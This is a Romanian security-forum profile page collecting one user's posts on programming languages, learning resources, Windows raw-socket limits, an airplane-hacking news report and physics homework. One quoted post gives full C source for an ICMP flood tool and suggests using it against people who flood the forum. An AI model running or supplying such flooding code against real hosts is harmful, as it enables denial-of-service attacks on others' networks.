Jump to content

Ganav

Active Members
  • Posts

    1374
  • Joined

  • Last visited

  • Days Won

    14

Posts posted by Ganav

  1. @Ganav, daca ar fi dupa tine, am scrie site-uri in C++ acum.

    Categoric nu, insa ce am spus mai devreme se refera la faptul ca C/C++ cu toate ca si-au pierdut din popularitate, raman, in continuare, indispensabile atat timp cat toate infrastructura programatica este construita in acestea.

    Nu te supara pe mine, dar gandesti eronat. Daca tu iti doresti sa dispara toate limbajele de programare usor inteligibile doar pentru ca ai impresia ca genereaza programatori de duzina, ai o problema. Prostimea nu a invadat programarea pentru ca a aparut Python, ci pentru ca industria IT s-a extins inimaginabil si lumea a invatat ce i-a picat la indemana. Daca nu exista Python, se apucau de C++.

    Nu, nu ma supar. Sunt de fapt cat se poate de obiectiv in ceea ce priveste dezvoltarea limbajelor usor inteligibile. Nu stiu daca ai avut vreodata de-a face cu un programator de duzina harnic. Facea la un moment dat mai multe greseli decat puteam repara(scria toata ziua cod), fiind nevoit in final sa lucrez la un alt proiect din cauza acestuia. Un limbaj trebuie sa fie usor de invatat de catre un inginer software insa extrem de dificl de catre o persoana care n-a avut tangente cu domeniul dezvoltarii software(de exemplu un absolvent de la drept).

    Sa nu-mi spui ca nu ai vazut software scris cu picioarele in C++. :))

    In plus, mare parte din vina o au si clientii pentru ca angajeaza "programatori" in functie de buget, de multe ori infim.

    Am vazut cod oribil scris in C++. Dar stii care era diferenta intre acesta si altul in Java? Cel din C++ avea 400 de linii iar cel din java ~11000.

    Calitatea produselor software nu scade neaparat ci complexitatea lor creste, nu neaparat complexitatea codului scris de programator ci a diferitelor componente(GUI/threading/instructiuni).

    Complexitatea ridicata implica si un program mai mare ca si numar de linii de cod. Este adevarat ca un program complex este mai usor de scris eronat, dar in ultimul timp au aparut produse open source inutilizabile. Cateva exemple ar fi ubuntu 14.04, 13.10 si libreoffice(orice versiune din ultimii doi ani).

    Un programator devine de "calitate" prin exercitiu, nu devine prin simpla citire a informatiilor. Autocomplete, code intel si multe alte functii sunt facute pentru a ajuta programatorii si NU esti programator mai bun ca altul pentru ca stii cateva nume de functii in plus.

    Un programator de calitate trebuie sa aiba un rationament structurat, sa stie sa gandeasca programe astfel incat acestea sa fie scalabile si usor de dezvoltat cand acesta nu va ma lucra asupra lor. Multi dintre programatorii din zilele noastre nu au elemente fundamentale de algoritmica; experienta lor se rezuma la a cauta fragmente de cod pe web pe care le vor pune intr-un IDE dupa care le mai aranjeaza putin pana compileaza aplicatia.

    Legat de complexitate, presupun ca esti unu din cei 100 de programatori erlang din Europa ?

    (Inca) nu.

    Am vrut sa nu spun nimic dar esti exemplu perfect de snob C/C++, lumea evolueaza si limbajele evolueaza.

    Nu sunt un snob C/C++, si nu am dorit sa creez aceasta impresie prin post-ul anterior. Insa, imi displace sa vad masele cand critica un limbaj doar in baza faptului ca nu inteleg conceptul de referinte(pointer-i), programare orientata pe obiecte si cea pe tipuri(template programming). Sa nu mai mentionez de inline assembly, hook-uri si altele.

  2. Dupa parerea mea, e o evolutie inevitabila, pentru ca numarul de programatori creste, iar timpul de executie trebuie sa scada,

    Timpul de executie nu are nicio legatura(cel putin directa) cu numarul de programatori. Acesta, teoretic, ar trebui sa scada conform legii lui Moore:

    Moore's Law

    Practic nu scade intocmai conform legii, deoarece energia(emisa sub forma de caldura) produsa de transzistoare devine mult prea ridicata dupa un anumit nivel de incapsulare in pastila de siliciu. Numarul de programatori este intr-adevar in crestere, datorita cresterii populatiei lumii si a oportunitatilor(locurilor de munca) in domeniu. Din pacate, am constat ca, calitatea produselor software scade de la o luna la alta.

    deci, apar limbaje noi, cu structuri mai user-friendly, cu mai mult cod prescris etc. Ideea e sa fie invatate cat mai usor si sa dea un randament ridicat. Legat de eficienta, daca cele noi sunt si rapide, comparativ cu cele vechi, super, dar chiar si daca nu sunt, lumea tot le va folosi pentru ca le este mai usor sau poate sunt mai eficiente dintr-un alt punct de vedere decat cel al vitezei.

    Structura user friendly este de fapt o lama cu doua taisuri: pe de-o parte avem avantaje precum usurinta de invatare si productivitate ridicata iar pe de alta parte avem dezavantajul ca oricine poate scrie cod indiferent de nivelul de pregatire; feature-uri ca autocomplete pot face crearea de cod compilabil foarte usoara. Insa de cele mai multe ori compilabil nu implica functional. Am facut practica de vara intr-un concern si in cea mai mare parte a timpului rescriam codul scris anterior de alti "programatori". De aceea prefer ca un limbaj de programare sa aiba un anumit grad de complexitate astfel incat sa fie suficient de prietenos pentru un inginer software insa aproape imposibil de abordat din perspectiva unui amator; da prefer calitate in detrimentul cantitatii.

    In plus, viitorul e in cloud, deci o foarte mare parte din programatorii de azi se vor orienta pe limbaje ce se integreaza bine pe web; C, C++ sau COBOL nici nu apar in discutie de multe ori.

    Fireste ca nu apar. Voi face o mica analogie intre limbaje de programare si elemente din structura societatii: gandeste-te la C si C++ ca si la puncte de infrastructura: sistemul de distributie al energiei electrice, a apei potabile, a transporturilor feroviare, rutiere, aeriene si navale, a productiei energiei electrice, telecomunicatii, etc. Acum gandeste-te la cele de tip web ca si la industria cinematografica, a jocurilor si a chestiilor "cool" pe care toata lumea le doreste insa de care nu are efectiv nevoie. Acum cati ar prefera sa apara pe marele ecran si cati ar prefera sa fie CFR-isti? Cea din urma alternativa este considerata injositoare in societatea din prezent(tare nu? :) ).

    Da, suntem lenesi ca nu ne place C sau C++, dar nu e vreo tragedie, ne descurcam si fara ele. :)

    A place sau a nu place un anumit lucru implica un grad de subiectivitate adesea raportat la un individ sau la un grup din care acesta face parte(si de a caror norme este posibil constrans). C si C++ sunt relativ dificil de invatat motiv pentru care nu sunt agreate de mase insa realitatea este ca kernel-ul oricarui sistem de operare este scris in C(si posibil cateva module C++), java este scris in C(ma refer la compilator), orice joc stralucitor este scris in C++(cryengine, unreal engine, source engine, etc.), PHP, Perl si Python sunt scrise in C(la interpretoare ma refer), si multe, multe altele. Da, ne descurcam pana vom avea nevoie de o noua infrastructura software(ca si analogie mai multe benzi pentru aceiasi autostrada).

    Iar faptul ca cei care detin banci nu vor sa-si schimbe software-ul nu e vina noastra. Daca am fi sa ne luam dupa ce vrea clientul, am ramane in urma. E de datoria ta, a dezvoltatorului, sa convingi clientul sa evolueze, daca tu esti convins ca e un pas necesar.

    In climatul capitalismului salbatic american cine face prima mutare castiga. Deci daca nu se folosea COBOL se pierdeau o multime de bani. Un dezvoltator nu trebuie sa convinga clientul sa evolueze ci sa-l faca sa creada ca a evoluat, sa il faca sa isi doreasca un produs pe care dezvoltatorul il poatea realiza ieftin, usor si repede.

    Golang este folosit pentru heavy web apps(backend/frontend), server side apps, cli and so on...si pe partea asta inlocuieste limbajele clasice folosite pentru performanta si in curand o sa fie limbajul default pentru asta. Scrii mai putin cod, mai curat si mai simplu.

    Rust inca trebuie sa isi gaseasca locul.

    Sunt limbaje de pot indeplini unele roluri mai bine decat altele, spre exemplu autoit, sa spui ca C/C++ e cel mai bun e absurd si ignorant.

    Nu exista un limbaj cel mai bun; de regula, cel mai bun limbaj pentru un programator este cel pe care il cunoaste cel mai bine la un moment dat.

    Pentru a determina cat de "bun" este un limbaj ai putea lua in calcul urmatoarele: numarul de aplicatii scrise in acesta, numarul de programatori care il folosesc si cel mai important natura aplicatiilor scrise in acesta(aplicatii web, jocuri, etc.) precum si numarul de locuri de munca ca si programatori/ingineri software in respectivul limbaj, documentatia limbajului(cu cat numarul de exemple de cod este mai ridicat pe web cu atat libajul este mai popular) si viitoare tendinte in domeniu.

    Pe langa subiect, dar cu referire la postari:

    Ma bucur sa vad oameni care incearca sa lumineze lumea, cand vine vorba de programare. Sa nu consideri un limbaj de programare ca fiind mai mult decat o unealta si sa nu inveti programare specifica unui limbaj, ci programare in general, mi se par doua dintre cele mai importante sfaturi din zona IT.

    In programare este mult mai importanta modul de structurare al ideilor; cat de bine ii poti spune calculatorului sa faca ceea ce vrei. De aceea partea de algoritmica/logica primeaza in detrimentul celei de scriere a codului.

  3. Andrei Alexandrescu. Autor al "Modern C++ Design" si dezvoltator al librariei Loki plus cateva functii care le folosim pe fb.

    PS:

    Mrs.. Am cartea respectiva :) Nu stiam de contributiile dansului in crearea limbajului D.

    M-ai pierdut la probleme de algoritmica, da-mi te rog daca ai niste linkuri de unde sa incep. Eu sunt inginer Cad, inteleg mai mult prin desene :))).

    Ms anticipat.

    Vezi cartea din post-ul de mai sus. Este usor de urmarit.

  4. O s-o iau la modul general atunci. Ms de sfat.

    Un limbaj de programare nu trebuie perceput ca fiind mai mult decat o unealta, un mijloc prin care ii "comunici" calculatorului ceea ce gandesti. Ti-as recomanda sa te axezi pe probleme de algoritmica, logica si chiar si teste de masurare ale coeficientului de inteligenta. Ulterior te poti apuca de software engineering(pentru a-ti forma o structura in gandire prin care poti crea aplicatii usor de extins si de inteles(la nivel de cod)). Avem foarte multi programatori care scriu cod "cu lopata".

    Pentru software design poti citi:

    https://ptgmedia.pearsoncmg.com/images/9780735619678/samplepages/9780735619678.pdf

    Pentru algoritmica poti incepe cu:

    http://syedwaqarahmad.webs.com/documents/t._cormen_-_introduction_to_algorithms_3rd_edition.pdf

  5. Citand din cel mai bun programator roman, inginer la Facebook si cel care a creat limbajul D:

    "Nimic n-are vreo sansa sa inlocuiasca C++, pentru ca avem o cantitate de cod C++ absolut enorma. D-ul nu este un inlocuitor."

    Deci nu, nu o sa-l inlocuiasca. O sa fie o alta alegere.

    Mai degraba nu poate fi inlocuit datorita constrangerilor financiare("traducerea" programelor dintr-un limbaj intr-altul este extrem de costisitoare). Deci, marele programator are dreptate. Ii putem afla numele sau cel putin mi-ai putea lasa, te rog, un p.m. cu acesta?

  6. Da, prioritar din punct de vedere al cererii de piata pe care il am este software cam 80% deci acolo vreau sa ma dezvolt mai mult, retea locala de partajare fisiere, imprimante si scanere..cam ce se foloseste pe la un birou..bridge rutere wifi,

    securitate in windows( asta e pe piata), in toate astea ma descurc ca si utilizator de suprafata dar mi-ar placea sa le stiu face din cmd.. mai simplu si mai repede de configurat, ar fi extraordinar sa pot face orice. :X

    Pentru o alta categorie de oameni ar fi creearea de vpn-uri care m-ar ajuta foarte mult, adica pentru cei care merita mai multa atentie. Problema pe care zic eu ca ma incurca este IPul dinamic de la ISP.\

    20% am nevoie de depanare hardware, adica recuperare de date HDDuri cu probleme, schimbat celule baterii laptop-tablete-gps-altele printre care rescriere chip, creare de antene wifi-gsm-gps (nu ca as avea nevoie..dar mi-ar placea ;) ), citire-scriere eprom ar fi iarasi un plus; eu ce stiu sa fac ca si hardware sunt desktop- uri, laptop-uri, tablete, telefoane, gps-uri, monitoare, dvr-uri , camere IP si multe altele.. ce pica. :)

    Am inceput sa caut pe forum lucruri ce ma intereseaza si imi place ceea ce citesc, sunt deasemenea si multe goluri dar partea plina conteaza :)

    mai sunt multe de spus si de intrebat...

    Ai putea da cateva exemple de realizari de proiecte de tip software/hardware? Nu este necesar sa furnizezi codul in intregime, doar cateva fragmente care sa ilustreze ideea de ansamblu.

  7. Thats not true. Steamul e pe emailul meu de atatea luni. Merge sa te joci orice joc doar ca pe csgo (nu cs 1.6) are vac ban.

    Eu am incercat acum doua zile pe un cont de pe care m-am jucat in tara. Dupa logare, mi-a aparut un textbox in care trebuia sa scriu un cod primit pe o adresa de e-mail la care aveam acces. Daca nu aveam acces nu puteam descarca jocurile. Incearca sa te loghezi prin VPN si vezi daca reusesti.

  8. Limitations on Raw Sockets

    On Windows 7, Windows Vista, Windows XP with Service Pack 2 (SP2), and Windows XP with Service Pack 3 (SP3), the ability to send traffic over raw sockets has been restricted in several ways:

    TCP data cannot be sent over raw sockets.

    UDP datagrams with an invalid source address cannot be sent over raw sockets. The IP source address for any outgoing UDP datagram must exist on a network interface or the datagram is dropped. This change was made to limit the ability of malicious code to create distributed denial-of-service attacks and limits the ability to send spoofed packets (TCP/IP packets with a forged source IP address).

    A call to the bind function with a raw socket for the IPPROTO_TCP protocol is not allowed.

    Note The bind function with a raw socket is allowed for other protocols (IPPROTO_IP, IPPROTO_UDP, or IPPROTO_SCTP, for example).

    These above restrictions do not apply to Windows Server 2008 R2, Windows Server 2008 , Windows Server 2003, or to versions of the operating system earlier than Windows XP with SP2.

    Cu alte cuvinte nu le poti folosi pe un windows recent.

  9. Numele meu este Remus, am 30 de ani, sunt din Arad, familist si fac ce imi place :), adica repar calculatoare la domiciliu, configurari retele, consultanta it pentru tineri si batrani.. oriunde e nevoie in zona, montez camere de supraveghere, repar tablete, gpsuri, telefoane cam din ce se poate castiga o paine sau doua (depinde de zi :D ).

    Sunt interesat de programare pentru android, configurari retea, linux os, linux pentru DVRuri .

    Sunt deschis la orice legat de calculatoare, daca pot ajut, daca nu stiu intreb mai departe!

    Salut,

    Pe care latura ai prefera sa te axezi mai mult software sau hardware? Ne-ai putea spune, te rog, si cateva lucruri despre cunostintele in respectivele domenii?

    • Upvote 1
  10. Acest mic programel este scris strict pentru a invata cum sa folosim socket-uri si ICMP ( "echo" requests ). E treaba voastra ce si cum il folositi si o faceti pe propia raspundere.

    Despre Ping si ICMP:

    Ping = un instrument de re?ea folosit pentru a verifica dac? un anumit calculator poate fi accesat prin intermediul unei re?ele de tip IP. Ping trimte mesaje ICMP “echo request” (în române?te solicitare de r?spuns) prin pachete adresate host-ului vizat ?i a?teapt? r?spunsul la aceste mesaje venite sub form? de r?spunsuri ICMP “echo response” de la hostul destina?ie. Transmi?ând periodic astfel de pachete ?i calculând întârzierea cu care ajung r?spunsurile, ping estimeaz? timpul de round-trip, precum ?i rata de pierdere a pachetelor dintre host-uri.

    Codul pe care urmeaza sa il parcurgem trimite pachete in masa ( flood pe romaneste ) asa ca va repet: folositi pe propia raspundere.

    Ca urmare a flood-urilor primite de RST m-am gandit ca poate vreti sa folositi asta pe propia raspundere impotriva celor care "arunca cu cacat" de plictiseala. Urmarind thread-ul asta am zis ca poate vreti si nu stiti cum :)

    Internet Control Message Protocol (abreviat ICMP) = un protocol din suita TCP/IP care folose?te la semnalizarea ?i diagnosticarea problemelor din re?ea. Protocolul este definit in RFC792. Mesajele ICMP sunt încapsulate în interiorul pachetelor IP. Versiunea ICMP ptr IPv4 este adesea cunoscuta ca ICMPv4; in schimb IPv6 dispune de un protocol similar cunoscut sub abrevierea ICMPv6.

    Probabil cele mai utilizate programe care se bazeaz? pe ICMP sunt ping ?i traceroute.

    Mai jos am comentat liniile ce mi s-au parut esentiale. In rest, ce nu stiti, google is your friend (asta daca vreti sa stiti).

    Let's purcedem into the cod:


    #include "stdio.h"
    #include "winsock2.h"
    #include "conio.h"
    #include "stdint.h"

    #pragma comment(lib,"ws2_32.lib") //libraria winsock 2.2

    #define ICMP_ECHO 8 /* Echo Request - cel explicat in definitia de la ping */

    unsigned short in_cksum(unsigned short *ptr, int nbytes);

    typedef uint8_t u_int8_t;
    typedef uint16_t u_int16_t;
    typedef uint32_t u_int32_t;

    struct icmphdr
    {
    u_int8_t type; /* tipul mesajului */
    u_int8_t code; /* tip cod */
    u_int16_t checksum;
    union
    {
    struct
    {
    u_int16_t id;
    u_int16_t sequence;
    } echo; /* dam echo la datagram */
    u_int32_t gateway; /* addresa gateway */
    struct
    {
    u_int16_t __unused;
    u_int16_t mtu;
    } frag; /* path mtu discovery */
    } un;
    };

    int main(int argc, char *argv[])
    {
    char *packet, *data=NULL;

    SOCKET s;
    int k = 1, packet_size, payload_size = 512, sent = 0;

    struct iphdr *iph = NULL;
    struct icmphdr *icmph = NULL;
    struct sockaddr_in dest;

    //Initializare winsock
    WSADATA wsock;
    printf("\nInitializare winsock...");
    if (WSAStartup(MAKEWORD(2,2),&wsock) != 0)
    {
    fprintf(stderr,"WSAStartup() failed");
    exit(EXIT_FAILURE);
    }
    printf("Terminat !");

    //Acum creeam pachetele ICMP
    if((s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == SOCKET_ERROR)
    {
    printf("Eroare la creearea pachetelor raw-icmp");
    exit(EXIT_FAILURE);
    }

    dest.sin_family = AF_INET;
    dest.sin_addr.s_addr = inet_addr("1.2.3.4");

    packet_size = sizeof(struct icmphdr) + payload_size;
    packet = (char * )malloc(packet_size);

    //zero out the packet buffer
    memset (packet, 0, packet_size);

    icmph = (struct icmphdr*) packet;
    icmph->type = ICMP_ECHO;
    icmph->code = 0;
    icmph->un.echo.sequence = rand();
    icmph->un.echo.id = rand();

    // initializam payload-ul TCP cu cacaturi
    data = packet + sizeof(struct icmphdr);
    memset(data, '^', payload_size);

    //suma de control
    icmph->checksum = 0;
    icmph->checksum = in_cksum((unsigned short *)icmph, packet_size);

    printf("\nTrimitem pachetele...\n");

    while(1)
    {
    if(sendto(s , packet , packet_size , 0 , (struct sockaddr *)&dest, sizeof(dest)) == SOCKET_ERROR )
    {
    printf("Eroare la trimiterea pachetelor : %d" , WSAGetLastError());
    break;
    }

    printf("%d Pachetele au fost trimise cu succes\r" , ++sent);
    _getch();
    }

    return 0;
    }

    /*
    Functie pt a calcula suma de control( calculata în func?ie de câmpurile antet ICMP + sir de date )
    */
    unsigned short in_cksum(unsigned short *ptr, int nbytes)
    {
    register long sum;
    u_short oddbyte;
    register u_short answer;

    sum = 0;
    while (nbytes > 1) {
    sum += *ptr++;
    nbytes -= 2;
    }

    if (nbytes == 1) {
    oddbyte = 0;
    *((u_char *) & oddbyte) = *(u_char *) ptr;
    sum += oddbyte;
    }

    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;

    return (answer);
    }

    Sursa de mai sus poate fi compilata in visual studio. Creeati un nou proiect, compilati si verificati cu ajutorul unui sniffer de retea (ex: wireshark) daca pachetele ICMP au fost trimise cu succes.

    Codul de mai sus este un ciot si tre' tratat ca atare. Nu mi-am batut gura cu prea multe chestii teoretice pentru ca oricum 95% vor da copy-paste si vor rupe flood-ul in 15.

    Sper sa va fie de folos si sa invatati ceva util din el.

    Programelele de fl00d trebuiesc scrise de preferinta pentru platforme *nix deoarece Win nu ofera suport pentru raw sockets. Cu alte cuvinte nu ne putem ascunde MAC-ul, IP-ul din pachete.

  11. Un consultant în securitate cibernetic? a declarat pentru FBI c? a p?truns în sistemele informatice de la bordul unor avioane de aproximativ 20 de ori ?i a reu?it chiar s? controleze un motor în timpul zborului, potrivit unor documente judiciare.

    Chris Roberts a fost de?inut de FBI în aprilie, dup? un zbor cu United Airlines c?tre Syracuse, New York, dup? ce oficialii au v?zut mesajele sale pe Twitter despre spargerea sistemului informatic al avionului în care se afla, informeaz? CNN.

    O solicitare depus? de FBI pentru un mandat de perchezi?ie la un tribunal din New York descrie anchetarea lui Roberts pentru posibile infrac?iuni informatice.

    În timpul intervier?rii sale de c?tre FBI în februarie ?i martie, Roberts le-a spus achetatorilor c? a p?truns în sistemele de divertisment de la bordul avioanelor de 15 sau 20 de ori în perioada 2011-2014.

    El a declarat, de asemenea, potrivit documentului, c? o dat? a p?truns în sisteme ?i a rescris codul, ceea ce i-a permis s? emit? o comand? "CLB" de cre?tere a altitudinii. Roberts sus?ine c? ?tie vulnerabilit??ile a trei tipuri de aeronave Boeing ?i ale unui model Airbus.

    Roberts a afirmat pe Twitter c? a fost sf?tuit s? nu spun? prea multe, dar a precizat c? singurul s?u interes este acela de "îmbun?t??ire a siguran?ei aeriene" ?i a acuzat FBI c? a condensat "incorect" cinci ani de cercet?ri ale sale într-un singur paragraf.

    Documentele FBI sus?in c? agen?ii ?i speciali?tii s?i în tehnic? "cred c? Roberts a avut capacitatea ?i voin?a de a folosi echipamentul pe care îl avea atunci asupra lui pentru a accesa sau a încerca s? acceseze sistemele de divertisment de la bord ?i probabil sistemele pentru controlul zborului ale oric?rui avion echipat cu sisteme de divertisment, iar acest lucru putea pune în pericol siguran?a public?", motiv pentru care nu i s-a permis s? p?r?seasc? aeroportul Syracuse în acea sear?.

    Sursa: Un hacker american sus?ine c? a reu?it s? controleze motorul unui avion în timpul zborului - Mediafax

    Nu prea imi vine sa cred ca a reusit sa controleze sistemele de zbor(motoare si navigare). A afirmat ca a rescris codul; acest lucru implica faptul ca a avut acces si la un compilator/depanator(pentru a testa noul cod). Am mari indoieli ca Boeing si Airbus au SDK-uri publice. Mai mult, el facea teste de navigare in timp ce se afla efectiv in avion? Toti cei care s-au ocupat vreodata cu reverse engineering stiu cat de delicate pot fi programele: cand un jmp sare la adresa unei instructiuni nevalide(in mijlocul instructiunii) sau cand un fanion(flag) nu este setat la modul in care se asteapta aplicatia, aceasta va esua de cele mai multe ori. Banuiesc ca un "hacker" este constient de acest lucru si nu si-ar pune viata in joc calatorind in respectivul avion. Concluzia: doar o alta stire menite sa se comercializeze(SEO pentru site-ul respectiv).

  12. Intotdeauna este mai usor sa descompui problema in subprobleme:

    Calculand sarcina pe care o pot dezvolta diverse baterii (1.5V si 12V), calculati numarul de condensatoare de 1000uF conectate in paralel, necesare stocarii aceleasi sarcini, alimentate la tensiunea inscrisa pe baterie.

    Intrebarile la care trebuie mai intai sa gasesti raspunsul sunt urmatoarele:

    1. Ce este sarcina electrica?

    2. Cum se calculeaza?

    Sarcina electrica

    3. In ce relatii se gaseste cu alte marimi fizice(in ce formule apare)?

    http://www.phys.utcluj.ro/PersonalFile/Cursuri/CuleaCurs/Curs%207.pdf

    4. Ce este capacitatea electrica?

    5. In ce relatii cu alte marimi fizice se gaseste?

    Capacitatea electrica , condensatorul electric parametrii si clasificare

    Capacitatea electricã. Condensatoare

    Capacitatea electrica

    6. Care sunt proprietatile circuitelor electrice in paralel si serie, in curent alternativ si curent continuu?

    Daca intalnesti o formula care implica calcul integral reiei setul de intrebari raportate la noul context:

    1. Ce este calculul integral?

    2. Exemple de calcul integral.

    3. Ilustratii calcul integral.

  13. Salut doresc sa-mi achizitionez si eu 1-2 boxe pe care sa le pot conecta la pc/leptop sa fie ceva peste 150 W RMS buget 600-800 RON.

    As dori ceva recomandari, le voi folosi mai mult in exterior dar si in interior spatiu mare.

    Mentionez ca nu caut cinestie ce calitate a sunetului astept ceva pareri ,ceva de genul as dori eu Skytec KA-10, Preturi Skytec KA 10 - ShopMania (Vreau sa mentionez ca nu sunt vre-un mare cunoscator.)

    Stereo+Subwoofer (2.1)

    Creative-Lautsprecher für Musik, Filme und Spiele - Creative Labs (Deutschland)

    • Upvote 1
  14. Salut, da, se pot construi algoritmi genetici si retele neuronale in prolog

    aici ai o mica discutie si aici ai atasamentul postat de unul din utilizatori in discutia respectiva cu niste implementari in prolog pentru algoritmi genetici smd.

    Iar motivul pentru care ai putea invata si celelalte limbaje, este pentru ca iti formeaza gandirea intr-un anume fel. Spre exemplu multe persoane cu care am discutat(ce programau in special in limbaje oop gen java, php, c++) mi-au spus ca si-au imbunatatit atat felul de a gandi, cat si modul de a scrie cod dupa ce au invatat un limbaj functional cum este haskell.

    Traditional LISP se foloseste in domeniul inteligentei artificiale. Da, respectivele limbaje pot largi orizonturile in ceea ce priveste rezolvarea unei probleme(ofera alte unghiuri de abordare). Daca, doresti, insa, sa inveti despre cum se lucreaza cu x86_64 este recomandat sa inveti C/assembly.

×
×
  • Create New...